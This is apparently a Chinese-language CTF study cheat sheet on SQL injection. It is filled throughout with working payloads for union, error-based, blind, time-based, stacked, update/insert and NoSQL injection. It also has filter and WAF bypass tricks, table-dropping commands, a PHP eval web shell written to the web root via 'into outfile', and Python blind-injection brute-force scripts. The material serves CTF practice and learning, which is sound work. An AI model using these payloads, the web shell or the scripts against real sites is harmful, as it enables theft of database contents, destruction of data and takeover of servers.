SQL注入介绍


本质为因为网站对用户输入没有进行充分过滤(过于信任), 导致的sql语句拼接并查询数据库得到了敏感信息

建议学一些数据库语句, 浅尝即止, 能看得懂下面的语句就可以了

注入方式

union 联合注入

# 判断列数
-1' order by 4 --

# 判断显示位
-1' union select 1,2,3 --
// 假如未出现 123 尝试查看下一行
-1' union select 1,2,3 limit 1,1 --

# 查询数据库名
-1' union select 1,database(),3 --
# 查询所有数据库名
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata), 3 --

# 查询数据库内表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 --
# 或
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database_name',3 --

# 查询此表内字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='table_name',3 --

# 查询字段内容
-1' union select 1,group_concat(id,flag) from table_name,3 --

报错注入

什么时候使用报错注入:

查询无回显位, 或者源代码中有输出错误的代码的时候, 使用报错注入

# 检查是否有正常回显, 漏洞验证
1' and updatexml(1,'~',3) --

# 获取所有数据库
-1' and updatexml(1,concat('~',substr((select group_concat(schema_name)from information_schema.schemata), 1 , 31)),3) --

# 获取当前数据库名
-1' and updatexml(1,concat('~',database()),3) --

# 获取数据库内表
-1' and updatexml(1,concat('~',substr((select group_concat(table_name)from information_schema.tables where table_schema = 'database_name'), 1 , 31)),3) --

# 获取表内字段
1' and updatexml(1,concat('~',substr((select group_concat(column_name)from information_schema.columns where table_schema = 'database_name' and table_name = 'table_name'), 1 , 31)),3) --

# 获取表内信息
-1'and updatexml(1,concat('~',substr((select column_name from table_name), 1 , 31)),3)--
# 或
-1' and updatexml(1,concat('~',substr((select password from mysql.user where user='mituan') , 1 , 31)),3) --

过滤updatexml那就用extractvalue

无列注入

通过 join 建立两个表之间的内连接, 也就是说跟给列赋别名有点相似,就是在取别名的同时查询数据 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错

盲注

布尔盲注

  • 存在回显1, 不存在回显0
  • 输入不存在的用户名会输出用户不存在, 否则输出密码错误

测试用语句:

if(condition, value_if_true, value_if_false)
if(2>1,1,0)
# 直接判断是否存在盲注, 或者结合load_file()对文件内容内容进行判断, 即当存在时返回0, 不存在时返回1

时间盲注

测试用语句:

ip=if(2>1,sleep(5),1)&debug=1
# 可以感觉到差不多延时5s, 就证明存在盲注

构造payload用的函数:

堆叠注入

利用分号使得原语句和构造的语句都执行一次, union联合查询是两个查询一起执行, 所以才需要类似-1这种让前面的查询无回显

堆叠注入最大的特点就是可直接执行命令, 所以可以更改判断条件的变量使得我们绕过这个判断;

此处利用的就是update更新数据库:

POST:
username=0;update user set pass=1&password=1

有时候结合handler进行注入

绕过

当 database 被过滤, 可以访问一个不存在的数据库来返回数据库名

当column被过滤, 用 join 无列注入

假如 updatexml 被过滤, 可以替换为 extractvalue, extractvalue 函数只能显示返回的32个字符串,结合 substr 等使用

# 查询数据库
1' and (extractvalue(1,concat('~'(select database()))));
1' and (extractvalue('anything',concat('/',(select database()))));
1' and (extractvalue('anything',concat('~',substring((select database()),1,5))));
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# 访问不存在的数据库来返回数据库, 或者将||换成or,爆库。
1'||(select * from aa)#

# 获取数据库内表
-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

过滤or and xor

原字符串 替换字符串
and &&
or ||
not !
xor |

过滤in和not in

假如一个表有三行, 不能查看1只能查看2,3就用not in, 只会显示1的内容

select * from users where id in (2,3);
select * from users where id not in (2,3);

过滤空格

在select语句外

双空格
/**/
括号绕过
回车代替(//ascii码为chr(13)&chr(10),url编码为%0d%0a)
%09
%20
%0A
%0C
%0D
%0B
%A0
$IFS
${IFS}
$IFS$9
<>
<
\x20

在select语句内

# 反引号
-1'/**/union/**/select/**/1,(select`password`from`user`where`username`='flag'),3%23
# 单引号
-1'/**/union/**/select'1',(select`password`from`user`where`username`='flag'),3%23
# 括号
username=-1',(select(group_concat(flag))from(flagb)))%23

过滤select

基本就是过滤了联合注入, 但是可以用or

-1' or username='flag

返回值过滤

规定返回的值不能有特定内容

  • 过滤字符串

过滤字符串这种就加一层编码就行, 比如md5, sha, hax等等

select id,hex(username),password from user where username='admin'
  • 过滤数字

过滤所有数字的就需要加点东西了, 可以用replace嵌套去替代数字

i = 0 
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)

还原脚本

flag = 'ctfshow{fgggaeje-lljd-kkjd-ojoo-akhdefbmdlbb}'

for i in range(10):
flag = flag.replace(chr(ord(str(i)) + 55), str(i))
print(flag)
  • 过滤所有字符\x00-\x7f

这种时候考虑外带, 写在文件中, 给网站写个马

-1'union select username,password from user into outfile '/var/www/html/flag.txt'%23

-1'union select 1,"<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/1.php'%23

substr函数

  • mid 函数绕过, 但是注意 mid 多数时候只在 MySQL 中使用

MID( column_name , start , length), substr同下

参数 描述
column_name 要提取字符的字段
start 规定开始位置
length 可选,要返回的字符数,不填则返回剩余字符串
MID(DATABASE(),1,1)>'a'		# 查看数据库名第一位
MID(DATABASE(),2,1) # 查看数据库名第二位, 依次查看各位字符
  • left 函数绕过

    Left ( string, n ) string为要截取的字符串, n为长度

left(database(),1)>'a'		# 查看数据库名第一位
left(database(),2)>'ab' # 查看数据库名前二位
````

### 关键词替换为空

部分过滤是select等关键词, 关键词短语替换为空,可以用双写绕过
union -> uniunionon

### 过滤等号

使用 like, rlike, regexp, < , >替代
```sql
select ascii(substring(user(),1,1))<115;
select ascii(substring(user(),1,1))>114;

select substring(user(),1,1) like 'r%';
select substring(user(),1,1) rlike 'r';

select user() regexp '^ro';

过滤注释符

利用闭合的方式查询, 主要还是靠查询语句

-1'union%0cselect'1',2,'3

-1'%0cor%0cusername='flag

-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

过滤sleep

  1. benchmark()

    benchmark()是Mysql的一个内置函数,其作用是来测试一些函数的执行速度

    benchmark(执行的次数, 要执行的函数或者是表达式)
    benchmark(1500000,md5(1))

    执行不同的次数那么执行的时间也就不一样, 通过这个函数我们可以达到与sleep()同样的延时目的

  2. 笛卡尔积

    通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算

    没有使用任何连接条件的两个表, 数据库会执行笛卡尔积操作

    所以可以用下面这个替代sleep:

    (select count(*) from ((information_schema.columns)A, (information_schema.columns)B, (information_schema.columns limit 1,7)c) limit 1)
  3. get_lock 加锁

  4. 超长字符串连接

过滤数字

可以用str构造数字和字母

String Functions and Operators

select true+true;		# 返回2
select concat((true+true),(true+true)); # 返回22
select concat((true+true),(true+true),'f'); # 返回22f
select false; # 返回0
select concat(false); # 返回0

可用脚本可以看 ctfshow web185

过滤information_schema

参考文章

那些拼接就不管了, 主要是替代品

mysql默认存储引擎innoDB携带的表:

利用innodb_table_stats代替information_schema, mysql.innodb_table_statsmysql.innodb_index_stats, 两表均有database_nametable_name字段

# 查表 banlist,user,flag
password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

传入变量后解码

可以整个payload编码一次, 或者直接闭合整个语句后拼接

# 部分查询语句
where ip = from_base64($id);
# 传入的参数
?id='1') or if(2>1,sleep(5),1)#

限制传入参数长度

利用泄露的账号密码可以登陆, 如果没有, 就只能靠其他方面的弱点了

比如说没有单引号包裹啊, 或者存在下面这种:

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

可以利用select 来设置$row[0]的值, 从而绕过判断

通配符绕过

sql的通配符是%

-1' or username like'%fla%

ascii 字符对比绕过

如果对 union select 进行拦截 而且似乎怎么都绕不过去, 那么可以不使用联合查询注入, 可以使用字符截取对比法

感觉就是盲注

select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
# 最好把'r'换成成 ascii 码
select * from users where id=1 and ascii(substring(user(),1,1))=114;

二次编码绕过

有些程序会解析二次编码,大部分情况下, 绕过 gpc 字符转义 和 waf 的拦截

拼接绕过

简单拆一下

-1' union select 1,('selec','t * from flag'), 3%23

多函数拆分绕过

多余多个参数拼接到同一条 SQL 语句中, 可以将注入语句分割插入。

例如请求 get 参数: a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。 条件: 在程序代码中看到两个可控的参数, 但是使用 union select 会被 waf 拦截。

$id = isset($_GET['id'])?$_GET['id']:1;
$username = isset($_GET['uername'])?$_GET['username']:'admin';
$sql = "select * from users where id = '$id' and username = '$username'";

//传入 -1' union/*&username=*/select 1,user(),3,4--+
//查询语句会变为 select *from users where id='-1' union/*' and username='*/select 1,user(),3,4--'

select语句变形变形

查阅mysql官网SELECT Statement查看有什么可以替换的

select count(*) from user group by username having username='flag'
select count(*) from user group by username having username regexp(0x666c6167)
# flag的十六进制

特殊字符串

详情见ctfshow web187

$password = md5($_POST['password'],true);

$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

这个时候ffifdyop就会派上用场

在经过md5假面之后该字符串会变成'or'6加上不可见字符, 这样就构建了一个永真的判断

而在查询语句中, 只要字符串头出现数字就可以构造永真判断:

# 不可行
select count(*) from user where username =''or'aaaa';
# 可行
select count(*) from user where username =''or'6aaaa';

变量未包裹

在查询变量没有单引号包裹的时候, 会自动进行字符类型转换; 首字符是字母转换过来就是0, 首字符是数字就会匹配输入的数字

$sql = "select pass from ctfshow_user where username = {$username}";

image-20240810205728809

所以提交username=0, 就可以通过一些判断

删除/更新表

可以很长, 又不能联合注入, 而且没有通过单引号包含传入的参数, 尝试执行相关命令: 更新表或者删除后新建一个一样的表

# 删除ctfshow_user表
drop table users;
# 创建一个新的表user
create table users(`username` varchar(100),`pass` varchar(100));
# 用于向user表插入一条数据
insert users(`username`,`pass`) value(1,2);

sqlmap

这个见[[sqlmap]]笔记, 里面有更详细的使用方法

handler语句

参考文章:

handler语句让我们能够一行一行的浏览一个表中的数据, 但是它仅在mysql存在且不包含select函数的完整功能;

最堆叠注入中, 基本上结合我们的show就可以绕过大部分过滤

# 查表
1';show tables;%23
# 查内容
1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;%23

预处理

预处理就是定义一串sql查询语句为一个名字, 然后直接通过这个名字来运行该查询语句

标准格式如下, 有时候需要去掉那个"删除预定义语句"

PREPARE name from '[my sql sequece]';   
# 预定义SQL语句
EXECUTE name;
# 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;
#删除预定义SQL语句

可以用十六进制替代部分参数, 比如

prepare h from 0x73686f77207461626c6573;execute h;

例题可以看ctfshow web225

转译符号

利用转译符号去掉特定的单引号

update ctfshow_user set pass = '\' where username = ',username=database()#'
# 等价于
update ctfshow_user set pass = 'x',username=database()#'

存储过程和函数

参考文章:

这个似乎也归类在堆叠注入

妙妙工具

username=0;show tables&password=user, 这个可以绕过下面这个

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

其他注入

Limit注入

可参考的文献:

此方法适用于MySQL 5.x中,在limit语句后面的注入

在官方的select语句解释中, limit后可以跟procedureinto, 可以利用procedure进行注入, 通常结合报错注入

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

Group by注入

可参考的文章:

似乎有报错注入和盲注两种方法

Floor()报错注入

一般用在同时过滤updatexmlextractvalue的情况下

参考文章:

如果上面三个全部都过滤了, 换一下函数就可以了:

floor()	向下取整
ceil() 向上取整
round() 四舍五入

Update注入

利用子查询将结果更新到可见表中, 也是一种拼接

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
# 查库 web
password=1',username=database()#&username=1
# 查表 banlist,user,flag
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
# 查列 id,flag,info
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flag')#&username=1
# 查字段
password=1',username=(select flag from web.flag) where 1=1#&username=1

Insert注入

和Update注入大差不差, 只不过这次是插入数据

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
# 查表:
username=123',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=123
# 查列:
username=123',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=123
# 查数据:
username=123',(select group_concat(flag) from flag))#&password=123

无列名注入

又名无列注入, 其实就是柱子替代列名

参考文章:

Delete注入

delete不能用union和select, 可以用报错注入或者是盲注

如果回显没有被覆盖, 那就用报错注入

into outfile

这个真没名字吧

参考文章:

UDF注入

参考文章:

这个也用于渗透中的提权操作

Quine注入

原理

Quine指的是自产生程序, 简单的说, 就是输入的sql语句与要输出的一致

// 特征:
if ($row['passwd'] === $password) {
die($FLAG);
}

但是一般出现这种代码, 表都是空的, 可能会有后台phpmyadmin弱密码登录, 登录后通常会发现是空的

只有构造输入输出完全一致的语句, 才能绕过限制得到FLAG, 主要利用replace(str,old_string,new_string)进行构造, 构造思路如下:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

输入和输出的结果为下 :

replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

但是依然还有单引号和双引号不一致, 再套一层, 最后结果如下, 实现了输入输出一致

replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

附加条件处理

  • 过滤了char, 用chr或者直接0x代替即可
  • 函数使用限制, 用大小写绕过

nosql

就是其他数据库的注入/查询方法

  1. MongoDB重言式

在mongodb中,要求的查询语句是json格式,如{"username": "admin", "password": "admin"}

而在php中,json就是数组,也就是Array('username'=> 'admin', 'password'=> 'admin')

同时MongoDB要求的json格式中,是可以进行条件查询的,如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}},会匹配密码abc

也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询

username[$ne]=1&password[$ne]=1

$ne是不相等的意思, $regex则是正则匹配

也可以利用盲注, 只是payload构造不同罢了

脚本编写

利用regexp()函数:

# 假设 user 表有以下记录:
| id | pass |
| 1 | password |
| 2 | ctf123 |
| 3 | secret |
| 4 | ctf_flag |

# 执行查询 select * from user where pass regexp("ctf") 将返回:
| id | pass |
| 2 | ctf123 |
| 4 | ctf_flag |

示例代码:

from requests import post
from string import digits, ascii_lowercase

url = ''
payload = 'admin\' and (select database()) regexp \'{}\' #'

for c in '-}_' + digits + ascii_lowercase:
resp = post(url, {'username': payload.format(flag + c)})

或者是直接遍历字符, 用函数给他编个码, 示例代码如下

import requests
url = ""
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid)

data = {
"username": payload,
"password": 0
}
res = requests.post(url=url, data=data)

附录

这是一个能应对大多数题目的盲注脚本, 有时候不好用

import requests
import time


def res_judge(url, payload):
# 发送请求并判断响应时间是否足够长, 以确认匹配

data = {
"ip": payload,
"debug": 1
}

try:
res = requests.post(url=url, data=data, timeout=0.7)
except requests.exceptions.Timeout:
time.sleep(0.1)
print(f"[+] Payload: {payload}")
return 1
except requests.exceptions.RequestException as e:
print(f"[!] Error occurred: {e}")
return -1


def the_length(url, query):
# 确定查询结果的长度
for i in range(1, 80):

payload = f"\'or if((length(({query})))={i},sleep(2),1)#"
# if((length(({query})))={length},sleep(2),1)&debug=1
if res_judge(url, payload):
print(f"[+] Found the length: {i}")
return i


# 初始化
url = "http://a24c3f93-a30a-47eb-abb2-6a4983c4468b.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

# query = "select database()"
# query = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
# query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
query = "select flagaa from ctfshow_flagxc"

length = the_length(url, query)
if length:
for i in range(1, length + 1):
for mid in flagstr:

payload = f"\'or if((substr(({query}),{i},1)='{mid}'),sleep(2),1)#"
if res_judge(url, payload):
flag += mid
print(f"[+] Found {i}th character: {mid}")
print(f"[-] The String: {flag}")
else:
print(f"[!] Error occurred: length return none")
exit()